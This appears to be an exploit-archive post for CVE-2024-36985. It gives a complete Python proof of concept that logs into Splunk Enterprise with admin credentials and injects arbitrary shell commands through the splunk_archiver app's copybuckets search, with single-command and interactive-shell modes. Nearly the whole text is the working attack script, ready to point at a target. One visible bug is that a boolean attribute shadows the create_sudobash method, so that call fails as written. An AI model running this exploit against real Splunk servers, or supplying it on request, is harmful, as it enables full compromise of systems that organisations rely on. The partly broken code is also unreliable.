📄 Splunk Enterprise 9.1.5 / 9.2.2 Remote Code Execution

=============================================================================================================================================
    | # Title     : Splunk Enterprise 9.1.5 / 9.2.2 via splunk_archiver app Authenticated RCE                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.splunk.com                                                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214134/ & CVE-2024-36985 
    
    [+] Summary    : A critical authenticated remote code execution vulnerability (CVE‑2024‑36985) affects multiple versions of Splunk Enterprise when the splunk_archiver application is enabled. 
                     The issue arises from improper handling of user-supplied JSON parameters within internal archive-related commands, allowing an authenticated administrative user to execute 
                     arbitrary system commands on the underlying server. Successful exploitation requires valid Splunk credentials and access to the vulnerable app, but can lead to full system 
                     compromise due to the high privileges under which Splunk typically operates. 
                     The vulnerability impacts several Splunk versions prior to the vendor’s security patches and highlights the risks associated with unsafe 
    				 command invocation and insufficient input validation in privileged service components.
    
    [+] Usage : 
    
    pip install requests urllib3 packaging
    
    # Vulnerability Check : python poc.py -t https://splunk.target -u admin -p password --check
    
    # Single Command Execution : python poc.py -t https://splunk.target -u admin -p password -c "id"
    
    # Interactive Mode : python poc.py -t https://splunk.target -u admin -p password --interactive
    
    [+] POC :
    
    #!/usr/bin/env python3
    
    
    import requests
    import json
    import sys
    import time
    import argparse
    import urllib3
    import re
    from typing import Optional, Dict, Any
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class SplunkExploit:
        def __init__(self, target, username, password, splunk_home="/opt/splunk", delay=3, create_sudobash=True):
            self.target = target.rstrip('/')
            self.username = username
            self.password = password
            self.splunk_home = splunk_home
            self.delay = delay
            self.create_sudobash = create_sudobash
            self.session = requests.Session()
            self.session.verify = False
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
            self.cookie = None
            
        def normalize_path(self, path: str) -> str:
            """Normalize path by removing duplicate slashes and trailing slash"""
            path = re.sub(r'/+', '/', path)
            return path.rstrip('/')
        
        def splunk_login(self) -> Optional[str]:
            """Authenticate to Splunk and return session cookie"""
            login_url = f"{self.target}/en-US/account/login"
    
            try:
                response = self.session.get(login_url, timeout=10)
                if response.status_code != 200:
                    print(f"[-] Failed to access login page: {response.status_code}")
                    return None
    
                cval_match = re.search(r'name="cval"\s+value="([^"]+)"', response.text)
                if not cval_match:
                    print("[-] Could not find cval token in login page")
                    return None
                    
                cval = cval_match.group(1)
                
            except Exception as e:
                print(f"[-] Error accessing login page: {e}")
                return None
    
            login_data = {
                'cval': cval,
                'username': self.username,
                'password': self.password,
                'set_has_logged_in': 'false'
            }
            
            try:
                response = self.session.post(login_url, data=login_data, timeout=10, allow_redirects=False)
                
                if response.status_code == 303 or response.status_code == 302:
    
                    cookies = self.session.cookies.get_dict()
                    if 'splunkweb_uid' in cookies or 'splunkd_uid' in cookies:
                        print("[+] Successfully authenticated to Splunk")
                        self.cookie = cookies
                        return cookies
                else:
                    print(f"[-] Login failed with status code: {response.status_code}")
                    if "Invalid username or password" in response.text:
                        print("[-] Invalid credentials")
                    return None
                    
            except Exception as e:
                print(f"[-] Error during login: {e}")
                return None
        
        def check_version(self) -> Optional[str]:
            """Check Splunk version and determine if vulnerable"""
            version_url = f"{self.target}/en-US/app/launcher/version"
            
            try:
                response = self.session.get(version_url, cookies=self.cookie, timeout=10)
                if response.status_code != 200:
                    return None
    
                try:
                    data = response.json()
                    if 'version' in data:
                        return data['version']
                except:
                    pass
    
                version_match = re.search(r'(\d+\.\d+\.\d+)', response.text)
                if version_match:
                    return version_match.group(1)
                    
            except Exception as e:
                print(f"[-] Error checking version: {e}")
                
            return None
        
        def is_vulnerable_version(self, version: str) -> bool:
            """Check if the version is vulnerable"""
            from packaging import version as pkg_version
            
            try:
                v = pkg_version.parse(version)
                
                # Vulnerable versions:
                # <= 9.0.9
                # 9.1.0 - 9.1.5
                # 9.2.0 - 9.2.2
                
                if v <= pkg_version.parse("9.0.9"):
                    return True
                    
                if (v >= pkg_version.parse("9.1.0") and 
                    v <= pkg_version.parse("9.1.5")):
                    return True
                    
                if (v >= pkg_version.parse("9.2.0") and 
                    v <= pkg_version.parse("9.2.2")):
                    return True
                    
            except Exception as e:
                print(f"[-] Error parsing version: {e}")
                
            return False
        
        def check_app_enabled(self) -> bool:
            """Check if splunk_archiver app is enabled"""
            apps_url = f"{self.target}/en-US/manager/apps/_new"
            
            try:
                response = self.session.get(apps_url, cookies=self.cookie, timeout=10)
                if response.status_code != 200:
                    return False
    
                if 'splunk_archiver' in response.text and 'enabled' in response.text.lower():
                    print("[+] splunk_archiver app found and appears to be enabled")
                    return True
                    
            except Exception as e:
                print(f"[-] Error checking apps: {e}")
                
            return False
        
        def create_sudobash(self):
            """Trigger sudobash creation by running archivebuckets command"""
            print("[*] Triggering sudobash creation...")
            
            search_url = f"{self.target}/en-US/splunkd/__raw/servicesNS/admin/splunk_archiver/search/jobs"
            
            search_data = {
                'search': '| archivebuckets forcerun=1',
                'exec_mode': 'normal'
            }
            
            try:
                response = self.session.post(search_url, data=search_data, cookies=self.cookie, timeout=30)
                if response.status_code in [200, 201]:
                    print("[+] Successfully triggered archivebuckets")
    
                    print(f"[*] Waiting {self.delay} seconds for filesystem drop...")
                    time.sleep(self.delay)
                    return True
                else:
                    print(f"[-] Failed to trigger archivebuckets: {response.status_code}")
                    print(f"[-] Response: {response.text[:200]}")
                    
            except Exception as e:
                print(f"[-] Error creating sudobash: {e}")
                
            return False
        
        def get_json_payload(self, command: str) -> str:
            """Generate the JSON payload for the exploit"""
            env_var = ''.join(chr(ord('A') + i % 26) for i in range(8))
            provider = 'provider_' + ''.join(chr(ord('a') + i % 26) for i in range(8))
            
            payload = {
                'vixes': {},
                'providers': {
                    provider: {
                        'command.arg.1': self.normalize_path(f"{self.splunk_home}/etc/apps/splunk_archiver/java-bin/jars/sudobash"),
                        'command.arg.2': f"-c ${env_var}",
                        f"env.{env_var}": command
                    }
                }
            }
    
            return json.dumps(json.dumps(payload))
        
        def execute_command(self, command: str) -> bool:
            """Execute a command via the vulnerability"""
            print(f"[*] Attempting to execute command: {command}")
            
            json_payload = self.get_json_payload(command)
            search_query = f"| copybuckets json={json_payload}"
            
            search_url = f"{self.target}/en-US/splunkd/__raw/servicesNS/admin/splunk_archiver/search/jobs"
            
            search_data = {
                'search': search_query,
                'exec_mode': 'normal'
            }
            
            try:
                response = self.session.post(search_url, data=search_data, cookies=self.cookie, timeout=30)
                
                if response.status_code in [200, 201]:
                    print("[+] Command execution triggered successfully")
    
                    try:
                        job_data = response.json()
                        if 'sid' in job_data:
                            sid = job_data['sid']
                            results_url = f"{self.target}/en-US/splunkd/__raw/servicesNS/admin/splunk_archiver/search/jobs/{sid}/results"
    
                            time.sleep(2)
                            
                            results_response = self.session.get(results_url, cookies=self.cookie, timeout=10)
                            if results_response.status_code == 200:
                                print("[+] Command execution completed")
                                return True
                    except:
                        pass
                        
                    return True
                    
                else:
                    print(f"[-] Failed to execute command: {response.status_code}")
                    print(f"[-] Response: {response.text[:200]}")
                    
            except Exception as e:
                print(f"[-] Error executing command: {e}")
                
            return False
        
        def check(self) -> bool:
            """Check if target is vulnerable"""
            print("[*] Checking target...")
    
            if not self.splunk_login():
                print("[-] Authentication failed")
                return False
    
            version = self.check_version()
            if not version:
                print("[-] Could not determine Splunk version")
                return False
                
            print(f"[+] Detected Splunk version: {version}")
    
            if not self.is_vulnerable_version(version):
                print(f"[-] Version {version} is not vulnerable")
                return False
                
            print("[+] Version appears to be vulnerable")
    
            if not self.check_app_enabled():
                print("[-] splunk_archiver app not found or not enabled")
                return False
                
            print("[+] Target appears to be vulnerable!")
            return True
        
        def exploit(self, command: str) -> bool:
            """Run the full exploit"""
            print("[*] Starting exploit...")
            if not self.cookie:
                if not self.splunk_login():
                    return False
            if self.create_sudobash:
                self.create_sudobash()
            return self.execute_command(command)
        
        def interactive_shell(self):
            """Start an interactive shell"""
            print("[*] Starting interactive shell (type 'exit' to quit)")
            
            while True:
                try:
                    cmd = input("$ ")
                    if cmd.lower() in ['exit', 'quit']:
                        break
                        
                    if cmd.strip():
                        self.exploit(cmd)
                        
                except KeyboardInterrupt:
                    print("\n[*] Exiting...")
                    break
                except EOFError:
                    print("\n[*] Exiting...")
                    break
    
    def main():
        parser = argparse.ArgumentParser(
            description="Splunk splunk_archiver RCE Exploit (CVE-2024-36985)",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      %(prog)s -t https://splunk.example.com -u admin -p password --check
      %(prog)s -t https://splunk.example.com -u admin -p password -c "id"
      %(prog)s -t https://splunk.example.com -u admin -p password --interactive
            """
        )
        
        parser.add_argument('-t', '--target', required=True, help='Splunk base URL (e.g., https://splunk.example.com)')
        parser.add_argument('-u', '--username', default='admin', help='Splunk admin username (default: admin)')
        parser.add_argument('-p', '--password', required=True, help='Splunk admin password')
        parser.add_argument('-c', '--command', help='Command to execute')
        parser.add_argument('--splunk-home', default='/opt/splunk', help='Splunk home directory (default: /opt/splunk)')
        parser.add_argument('--delay', type=int, default=3, help='Delay before triggering payload (default: 3)')
        parser.add_argument('--no-create-sudobash', action='store_true', help='Do not create sudobash helper')
        parser.add_argument('--check', action='store_true', help='Only check if target is vulnerable')
        parser.add_argument('--interactive', action='store_true', help='Start interactive shell')
        
        args = parser.parse_args()
        
        if not args.command and not args.check and not args.interactive:
            parser.print_help()
            sys.exit(1)
        exploit = SplunkExploit(
            target=args.target,
            username=args.username,
            password=args.password,
            splunk_home=args.splunk_home,
            delay=args.delay,
            create_sudobash=not args.no_create_sudobash
        )
        if args.check:
            if exploit.check():
                print("[+] Target is vulnerable!")
                sys.exit(0)
            else:
                print("[-] Target is not vulnerable or check failed")
                sys.exit(1)
        if args.interactive:
            if exploit.check():
                exploit.interactive_shell()
            else:
                print("[-] Target does not appear to be vulnerable")
                sys.exit(1)
        if args.command:
            if exploit.check():
                exploit.exploit(args.command)
            else:
                print("[-] Target does not appear to be vulnerable")
                sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    	
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================